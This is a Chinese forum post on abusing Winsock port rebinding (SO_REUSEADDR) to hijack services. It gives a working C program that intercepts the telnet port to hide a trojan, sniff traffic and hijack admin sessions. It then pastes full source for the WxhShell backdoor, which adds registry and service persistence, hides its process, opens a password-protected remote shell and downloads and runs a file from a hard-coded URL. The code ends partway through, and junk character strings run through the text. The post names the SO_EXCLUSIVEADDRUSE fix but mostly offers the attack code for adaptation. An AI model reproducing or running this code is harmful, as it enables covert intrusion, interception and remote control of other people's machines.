社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10404阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !E2W\chi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uo2'"@[e  
8|@9{  
  saddr.sin_family = AF_INET; zF`3 gl.  
ml6u1+v5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /@"Y^  
]y#3@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7B7&9<gc  
3BG>Y(v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u 8^{  
3B0PGvCI1  
  这意味着什么?意味着可以进行如下的攻击: >yB(lKV  
TP%+.#Fu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _%/}>L>-`8  
wSEWwU[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *JX;|S  
i#/]KsSp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q{0R=jb  
&@% $2O.3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $pyOn2}  
i/H+xrCK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]QVNn?PA8  
^uBxgWIC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rHjq1-t  
:Dt~e|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zFz10pH  
=WIJ>#Go<  
  #include tM4 Cx  
  #include Hnk:K9u.B:  
  #include nUS| sh  
  #include    6$\jAd|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _ :Ag?2  
  int main() m_+sR!\H8  
  { ntFT>g{B  
  WORD wVersionRequested; Ep9W-n?}  
  DWORD ret; T*g:# ^4  
  WSADATA wsaData; `d7n?|pD  
  BOOL val; i4JqT\q  
  SOCKADDR_IN saddr; M(x$xAiD  
  SOCKADDR_IN scaddr; 2i;7{7  
  int err; 1u3, '8F  
  SOCKET s; ;oZ)Wt  
  SOCKET sc; JjaoOe  
  int caddsize; eET&pP3Rp  
  HANDLE mt; BTgG4F/)  
  DWORD tid;   tW WWx~k  
  wVersionRequested = MAKEWORD( 2, 2 ); 7xRl9  
  err = WSAStartup( wVersionRequested, &wsaData ); MZ+^-@X  
  if ( err != 0 ) { / 0 O=(  
  printf("error!WSAStartup failed!\n"); pRkP~ZISU  
  return -1; 8YC_3Yi%  
  } [ ol9|sdu  
  saddr.sin_family = AF_INET; 'AN>`\mR$  
   1-lu\"H`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cufH?Xg<  
&f-Uyr7?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FEVEp  
  saddr.sin_port = htons(23); ,eTU/Q>{,&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QQWadVQo  
  { pe^u$YE  
  printf("error!socket failed!\n"); 9$2/MT't  
  return -1; 6DH~dL_",%  
  } : q#Xq;Wp  
  val = TRUE; [Xb@Wh:yG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZK>WW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >=[(^l  
  { v`M3eh@$A  
  printf("error!setsockopt failed!\n"); ,^uEYT}j  
  return -1; yUpgoX(6  
  } YW7b)u Yf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #O+),,WS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EK4d_L]I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :Nz9xD$S5  
\[y`'OD~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N;\'N ne  
  { %}%Qc6.H  
  ret=GetLastError(); 9I4K}R  
  printf("error!bind failed!\n"); ]*AR,0N&  
  return -1; Mnscb  
  } MdvcnaCG  
  listen(s,2); k |eBJ%  
  while(1) /pT =0=  
  { "'t0h{W r8  
  caddsize = sizeof(scaddr); H!$o$}A  
  //接受连接请求 NuQdSj_>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); INJEsz  
  if(sc!=INVALID_SOCKET) O6LS(5j2  
  { `hQ5VJo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~vyf4TF<#  
  if(mt==NULL) ]@phF _  
  { / G7vwC  
  printf("Thread Creat Failed!\n"); {0WHn.,2Y  
  break; oC0qG[yp9S  
  } c}2jmwq  
  } >s<^M|S07  
  CloseHandle(mt); m)'=G%y  
  } 0"f\@8r(  
  closesocket(s); ^G}47(  
  WSACleanup(); oU.R2\Q  
  return 0; u)+8S/ )  
  }   R8a3 1&  
  DWORD WINAPI ClientThread(LPVOID lpParam) y.< m#Zzt  
  { oYm[V<nIl  
  SOCKET ss = (SOCKET)lpParam; 8~@c)Z;  
  SOCKET sc; ^f4s"T  
  unsigned char buf[4096]; 6\q]rfQ  
  SOCKADDR_IN saddr; mc? Vq  
  long num; b?tB(if!I  
  DWORD val; .uMn0PE   
  DWORD ret; d,B:kE0Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JR@`2YP-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KUlp"{a`,K  
  saddr.sin_family = AF_INET; PgF* 1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V{/?FO?E  
  saddr.sin_port = htons(23); $QN"w L||  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3u*4o=4e  
  { Qp_isU  
  printf("error!socket failed!\n"); R6;=n"Ueb  
  return -1; 3q\,$*D.  
  } o$jLzE"  
  val = 100; "K6&dk jY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YIQ 4t  
  { &8Cu#^3  
  ret = GetLastError(); R;uvkg[o  
  return -1; S2sQOM@  
  } l rlgz[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MyJ%`@+1  
  { Yg%I?  
  ret = GetLastError(); Z>:NPZODf  
  return -1; )r xX+k+b/  
  } 6t[+pL\b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lb4Pcd j  
  { nP$Ky1y G  
  printf("error!socket connect failed!\n"); %[Wh [zZy  
  closesocket(sc); c|e~BQdRw  
  closesocket(ss); '3 /4?wi  
  return -1; zy/@ WFPE  
  } H1|?t+oP  
  while(1) `VA"vwz  
  { PUT=C1,OFR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >E;uU[v)I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |W,& Hl7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QwW&\h[8?  
  num = recv(ss,buf,4096,0); bh,[ 3X%  
  if(num>0) JVvs-bK5  
  send(sc,buf,num,0); DE}K~}sbd  
  else if(num==0) ?~BC#B\>o  
  break; Aza /6OL  
  num = recv(sc,buf,4096,0); 4KhV|#-;k  
  if(num>0)  HSjlD{R  
  send(ss,buf,num,0); -`*a'p-=  
  else if(num==0) eenH0Ovv  
  break; GZN ^k+w  
  } &#{Z( h.de  
  closesocket(ss); n\Z!ff/  
  closesocket(sc); k9sh @ENy  
  return 0 ; W,V:R  
  } JFcLv=U  
q6McGHT  
^S4d:-.3  
========================================================== + nrbShV  
M8MR oA6F  
下边附上一个代码,,WXhSHELL 2V- 16Q'%  
.F4>p=r  
========================================================== >N^Jj:~l  
c,np2myd  
#include "stdafx.h" dU&a{ $ku[  
}MJy +Z8&  
#include <stdio.h> .0zY}`  
#include <string.h> Zi*2nv '  
#include <windows.h> ne>pOK<vZ  
#include <winsock2.h> ;5]Lf$tZ  
#include <winsvc.h> ;v}GJ<3  
#include <urlmon.h> j8v8uZ;x  
*RI]?j%B  
#pragma comment (lib, "Ws2_32.lib") G)EU_UE 9  
#pragma comment (lib, "urlmon.lib") ? ^0:3$La  
k|e7a2Wwt  
#define MAX_USER   100 // 最大客户端连接数 MU`1LHg  
#define BUF_SOCK   200 // sock buffer lUOF4U&r  
#define KEY_BUFF   255 // 输入 buffer S] }nm  
j@n)kPo,1  
#define REBOOT     0   // 重启 rMdt:`  
#define SHUTDOWN   1   // 关机 kjTduZ/3 "  
UFXaEl}R   
#define DEF_PORT   5000 // 监听端口 P{8iJ`rBG  
/K+r? ]kf  
#define REG_LEN     16   // 注册表键长度 :tz#v`3o  
#define SVC_LEN     80   // NT服务名长度 3lf=b~Zi)  
"IZa!eUW  
// 从dll定义API 0\X\izQ5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UE8kpa)cQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bg!/%[ {M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q 1U\D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2] z 8: a  
(of#(I[m7  
// wxhshell配置信息 f/U`  
struct WSCFG { {0[tNth'h  
  int ws_port;         // 监听端口 35h 8O,Y  
  char ws_passstr[REG_LEN]; // 口令 R4[N:~Z$|  
  int ws_autoins;       // 安装标记, 1=yes 0=no KN^=i5K+Y  
  char ws_regname[REG_LEN]; // 注册表键名 %vn|k[n D  
  char ws_svcname[REG_LEN]; // 服务名 g?c xp +  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h){0rX@:&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5[8xV%>;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6gL #C&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *^\Ef4Lh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DEBB()6,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y[ j6u\y  
Ab~3{Q]#  
}; G'nmllB`]  
7!$Q;A  
// default Wxhshell configuration TtK[nP  
struct WSCFG wscfg={DEF_PORT, r7RIRg_  
    "xuhuanlingzhe", 8f_l}k$Eg  
    1, IY_iB*T3jt  
    "Wxhshell", J-[,KME_^  
    "Wxhshell", _F4Ii-6  
            "WxhShell Service", fJ=0HNmX  
    "Wrsky Windows CmdShell Service", 5 )A1\  
    "Please Input Your Password: ", 2+RUTOv/d  
  1, pf]xqhL  
  "http://www.wrsky.com/wxhshell.exe", 5^}\4.eXo  
  "Wxhshell.exe" SUMrFd~  
    }; |-b#9JQ[A  
UBv,=v  
// 消息定义模块 3RigzT3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i"1Mfz~e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jkQ*D(;p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 55G+;  
char *msg_ws_ext="\n\rExit."; $CRm3#+ ~  
char *msg_ws_end="\n\rQuit."; @CNi{. RX  
char *msg_ws_boot="\n\rReboot..."; bc7/V#W  
char *msg_ws_poff="\n\rShutdown..."; PoHg,n]  
char *msg_ws_down="\n\rSave to "; aJSO4W)P  
DKH-Q(M56  
char *msg_ws_err="\n\rErr!"; ):P?  
char *msg_ws_ok="\n\rOK!"; AKY1o.>z  
_1!7V3|^  
char ExeFile[MAX_PATH]; bc*X/).  
int nUser = 0; EHSlK5bD,  
HANDLE handles[MAX_USER]; 4%{,] q\p  
int OsIsNt; ~Q*%DRd&Z-  
\0A3]l  
SERVICE_STATUS       serviceStatus; 2_)\a(.Qu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >R|/M`<ph  
y3vdUauOn  
// 函数声明 bes<qy  
int Install(void); _PPy44r2  
int Uninstall(void); XUrXnz|>  
int DownloadFile(char *sURL, SOCKET wsh); 6 [k\@&V-  
int Boot(int flag); at@G/?  
void HideProc(void); X enE^e+9  
int GetOsVer(void); H!c@klD  
int Wxhshell(SOCKET wsl); t1]K<>g  
void TalkWithClient(void *cs); G%BjhpL  
int CmdShell(SOCKET sock); zlyS}x@p  
int StartFromService(void); 5b5x!do  
int StartWxhshell(LPSTR lpCmdLine); O8^A5,2@3>  
fAF1"4f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ S_Ou   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _ "E$v&_  
K~uXO  
// 数据结构和表定义 uMUBh 80,L  
SERVICE_TABLE_ENTRY DispatchTable[] = hC:n5]K  
{ }~2LW" 1'  
{wscfg.ws_svcname, NTServiceMain}, 'Jiw@t<o3`  
{NULL, NULL} Cmu@4j&  
}; AW%50V  
oVnvO iAc  
// 自我安装 N%kt3vmQ_  
int Install(void) >/{@C  
{ +00b)TF  
  char svExeFile[MAX_PATH]; Fiv3 {.  
  HKEY key; 3^IpE];+:u  
  strcpy(svExeFile,ExeFile); ``V" D  
N1Ng^aY0  
// 如果是win9x系统,修改注册表设为自启动 r`=+L-!  
if(!OsIsNt) { d^@dzNv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ki4r<>\l{H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -^K"ZP1  
  RegCloseKey(key); V08?-Iz$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @_-hk|Nl@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |<HPn4 ,X  
  RegCloseKey(key); tW.9yII  
  return 0; ICpAt~3[M  
    } QaS1Dh  
  } dFRsm0T  
} k@\ iGqo  
else { *7:>EP  
5rwu!Y;7*  
// 如果是NT以上系统,安装为系统服务 Ua<5U5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LVX[uWEM  
if (schSCManager!=0) \"qY"V  
{ Bu#E9hJFvA  
  SC_HANDLE schService = CreateService O80<Z#%j`  
  ( <x@}01 ~  
  schSCManager, *e<[SZzYZ  
  wscfg.ws_svcname, o#;b  
  wscfg.ws_svcdisp, 9l|@v=gw.  
  SERVICE_ALL_ACCESS, pSoiH<33  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .nB0 h  
  SERVICE_AUTO_START, yGI;ye'U  
  SERVICE_ERROR_NORMAL, "/)#O~  
  svExeFile, R_(tjkT  
  NULL, yaD~1"GA'O  
  NULL, <_h~w}  
  NULL, N6>(;ugJ1-  
  NULL, ?QsQnQ  
  NULL FFV `P  
  ); .)RzT9sg  
  if (schService!=0) mN~ci 0  
  { i;]"n;>+/  
  CloseServiceHandle(schService); rw: c  
  CloseServiceHandle(schSCManager); |h-QP#]/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~s% Md  
  strcat(svExeFile,wscfg.ws_svcname); *$yR*}A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZU85P0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `2'#! -  
  RegCloseKey(key); wr5AG<%(  
  return 0; {F3xJ[  
    } X59: C3c  
  } Jzj1w}?H  
  CloseServiceHandle(schSCManager); [ OM7g'?S0  
} lH#u  
} `JOOnTenQ  
$@"l#vJPfc  
return 1; ?>hPO73{  
} *#E F sUw  
4^TG>j?M  
// 自我卸载 U[SaY0Z  
int Uninstall(void) aIJt0;  
{ pv*,gSS  
  HKEY key; !>v2i"  
vu|n<  
if(!OsIsNt) { Px$/ _`H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8C[C{qOJ  
  RegDeleteValue(key,wscfg.ws_regname); EKA#|^Q:NX  
  RegCloseKey(key); #OIcLEn%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h?rp|uPQ  
  RegDeleteValue(key,wscfg.ws_regname); m6TNBX  
  RegCloseKey(key); )\_:{c  
  return 0; M4zm,>?K  
  } o}W%I/s  
} d\p,2  
} 9S-Z& 2L  
else { [<-  
N"8_S0=pw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4#ug]X4Y')  
if (schSCManager!=0) }R1< 0~g  
{ >=RmGS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "B =  
  if (schService!=0) }!;s.[y  
  { ?3%` bY+3;  
  if(DeleteService(schService)!=0) { _9JhL:cY  
  CloseServiceHandle(schService); cV 5CaaL  
  CloseServiceHandle(schSCManager); 6I1,:nLL<  
  return 0; )=5ng-  
  } 3{ LP?w:@  
  CloseServiceHandle(schService); 1 y-y6q  
  } /4c\K-Z;  
  CloseServiceHandle(schSCManager); 7N-w eX  
} L{hnU7sY  
} &0NFb^8+  
LNrX;{ Z  
return 1; BnCbon)  
} w9NHk~LHKF  
Yj)#k)x  
// 从指定url下载文件 2Tfz=7h$  
int DownloadFile(char *sURL, SOCKET wsh) ]<H&+ &!  
{ Ko;{I?c  
  HRESULT hr; 0}$Hi  
char seps[]= "/"; CACTE  
char *token; G>wqt@%r9  
char *file; twP,cyR  
char myURL[MAX_PATH]; Fb^:V4<T  
char myFILE[MAX_PATH]; &Rx{.9  
ANJ$'3tg  
strcpy(myURL,sURL); '<rZm=48  
  token=strtok(myURL,seps); zRq-b`<7V  
  while(token!=NULL) {P{bOe  
  { V>R8GSx  
    file=token; [* @5\NWR}  
  token=strtok(NULL,seps); ;k7xMZs  
  } L1i eaKw  
XLAN Np%E  
GetCurrentDirectory(MAX_PATH,myFILE); FP;Ccl"s  
strcat(myFILE, "\\"); s0DGC  
strcat(myFILE, file); jJuW-(/4[  
  send(wsh,myFILE,strlen(myFILE),0); Q.]}]QE   
send(wsh,"...",3,0); HvM)e.!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U}MXT <6  
  if(hr==S_OK) ^;/b+ /B0  
return 0; sB^<6W!`(  
else TYJ:!  
return 1; 3~}uqaGt  
T{Sb^-H#X  
} zY|t0H  
`0P$#5?  
// 系统电源模块 #;%JT   
int Boot(int flag) kMtwiB|7j  
{ x9;gT&@H  
  HANDLE hToken; EGZb7:Y?  
  TOKEN_PRIVILEGES tkp; O9EKRt  
LUC4=kk4   
  if(OsIsNt) { ^j" .  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L5#P[cHzz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E_8\f_%wK  
    tkp.PrivilegeCount = 1; blTo5NLX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1E73i_L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r:F  
if(flag==REBOOT) { / C>wd   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) COW}o~3-4  
  return 0; MxY/`9>E|+  
} u>TZt]h8  
else { -[6z 1"*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >TQH|}|6(y  
  return 0; +m8!U=Zi  
} &_~+(  
  } PI`jExL  
  else { \>C YC|  
if(flag==REBOOT) { @6mBqcE'?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'Y56+P\u  
  return 0; q|Qk2M  
} qe!fk?T}  
else { =Qgt${|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h"_~7 jq"  
  return 0; AwslWkd=  
} \/1<E?Q f  
} )('%R|$ /  
Gm(b/qDDe  
return 1; Kj<^zo%w  
}  ^}:#  
3'^k$;^  
// win9x进程隐藏模块 6xZ=^;H  
void HideProc(void) M-[ $L XR  
{ Zf'TJ `S  
q-c=nkN3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DwrO JIy  
  if ( hKernel != NULL ) Y=?yhAw  
  { hi0R.V&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L+CyQq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0#ClWynjRO  
    FreeLibrary(hKernel); Eh|]i;G%  
  } G.( mp<-  
|37 g ~  
return; K91)qI;BD  
} wc!onZX5  
j{NNSi3  
// 获取操作系统版本 /Wy.>YC|  
int GetOsVer(void) VY)9|JJCO  
{ z}{afEb  
  OSVERSIONINFO winfo; #{=;NuP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x-?{E  
  GetVersionEx(&winfo); %-<'QYYP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #/I[Jqf  
  return 1; ]|sAK%/  
  else  nv0]05.4  
  return 0; t`+'r}=d  
} h}]fn A  
Pv<24:ao  
// 客户端句柄模块 t 0-(U\  
int Wxhshell(SOCKET wsl) F$^Su<w5l  
{ L3n_ 5|  
  SOCKET wsh; *&d<yJM`b  
  struct sockaddr_in client; (ZY@$''  
  DWORD myID; (4\d]*u5-c  
QK+(g,)_86  
  while(nUser<MAX_USER) ed:@C?  
{ Z7RiPSdxp  
  int nSize=sizeof(client); m+#iR}*1L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G 2mX;  
  if(wsh==INVALID_SOCKET) return 1; MW PvR|Q  
F35#dIs`&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X+~ XJ  
if(handles[nUser]==0) bk)g;+@  
  closesocket(wsh); 'sxNDnGg  
else {'AWZ(  
  nUser++; _z54Ycr4H  
  } C#H:-Q&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i| ZceX/  
>5j<4ShW  
  return 0; zcva-ze:;  
} '&sE=.  
(XXheC  
// 关闭 socket ^k Cn*&  
void CloseIt(SOCKET wsh) aM{xdTYaU  
{ &m[Qn!>i6  
closesocket(wsh); Wy ZL9K{?  
nUser--; r)i>06Hd  
ExitThread(0); {U84 _Pi  
} U-:ieao@  
)x]3Zq  
// 客户端请求句柄 F*.g;So  
void TalkWithClient(void *cs) gl]E_%tH  
{ cetvQAGXY  
#^4,GLIM  
  SOCKET wsh=(SOCKET)cs; EZYBeqv  
  char pwd[SVC_LEN]; 9 Rx s  
  char cmd[KEY_BUFF]; 0d3+0EN{  
char chr[1]; gd0Vp Xf'  
int i,j; |,aG%MTL  
.cR -V`  
  while (nUser < MAX_USER) { EaWS. eK  
J!5v~<v?-  
if(wscfg.ws_passstr) { P<Zh XN'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lw :`M2P,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MCT'Nw@A  
  //ZeroMemory(pwd,KEY_BUFF); CT\;xt,S  
      i=0; ]IL;`>Gp  
  while(i<SVC_LEN) { 7^M9qTEHp  
/l{ &iLz[  
  // 设置超时 m~>Y{F2  
  fd_set FdRead; 3 E3qd'  
  struct timeval TimeOut; _$p$")  
  FD_ZERO(&FdRead); $z$u{  
  FD_SET(wsh,&FdRead); 4]/7 )x?R  
  TimeOut.tv_sec=8; p2N:;lXM  
  TimeOut.tv_usec=0; I(S)n+E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cn_$l>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Iu{kPyx  
XTd3|Pm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I"1;|`L~:  
  pwd=chr[0]; *#TYqCc+g  
  if(chr[0]==0xd || chr[0]==0xa) { {VP$J"\e  
  pwd=0; k64."*X  
  break; JMCW}bA  
  } qiZO _=0  
  i++; NWd<+-pC6  
    } 4Td{;Y="yF  
:aG#~-Q  
  // 如果是非法用户,关闭 socket  `juLQH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZbT/$\0(6  
} KE1ao9H8wR  
720)VzT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cv(PP-'\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;r /;m\V  
up2+ s#  
while(1) { Z--@.IYoJ  
@vMA=v7a  
  ZeroMemory(cmd,KEY_BUFF); 2..,Sk  
'<R>E:5  
      // 自动支持客户端 telnet标准   j Y6MjZI  
  j=0; xcJ `1*1N  
  while(j<KEY_BUFF) { 7?v#'Ie s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xBFJ} v  
  cmd[j]=chr[0]; "Pl9nE  
  if(chr[0]==0xa || chr[0]==0xd) { yIb,,!y9{  
  cmd[j]=0; kF;5L)o  
  break; W- $a Y2  
  } -B$~`2-  
  j++; /j"sS2$U  
    } ^>?CMcN4*  
F/1#l@qN  
  // 下载文件 + <c^=&7Lq  
  if(strstr(cmd,"http://")) { E(Rh#+]Y5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `imWc "'Ej  
  if(DownloadFile(cmd,wsh)) @=5qT]%U3J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @FN*TJ  
  else |xoF49  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H +bdsk  
  } #&8}<8V  
  else { !TAp+b  
8wH.et25k  
    switch(cmd[0]) { ];+#i"l  
  ZAuWx@}  
  // 帮助 uE=$p)  
  case '?': { ._z 'g_c(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L?Yoh<  
    break; `N/RHb%  
  } c~ <1':  
  // 安装 ?@6/Alk  
  case 'i': { 6 fz}  
    if(Install()) jy2IZ o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ftk%EYT;  
    else RE3Z%;'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wyxGe<1  
    break; d h^^G^  
    } 2WvN2" f3  
  // 卸载 4y}"Hy  
  case 'r': { jY!ZkQsVe  
    if(Uninstall()) E{Pgf8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3UUGblg`~  
    else \ u+xa{b|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t>UkE9=3\  
    break; -m 5}#P89  
    } @LD6:gy  
  // 显示 wxhshell 所在路径 eyw'7  
  case 'p': { Bz2'=~J  
    char svExeFile[MAX_PATH]; *HM?YhR  
    strcpy(svExeFile,"\n\r"); "L& k)J  
      strcat(svExeFile,ExeFile); `BZ&~vJ_  
        send(wsh,svExeFile,strlen(svExeFile),0); JbQZ!+  
    break; \[wCp*;1}  
    } mZ0J!QYk  
  // 重启 pF=g||gS  
  case 'b': { 10sK]XI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }ZZ5].-a<D  
    if(Boot(REBOOT)) (d2@Mz  
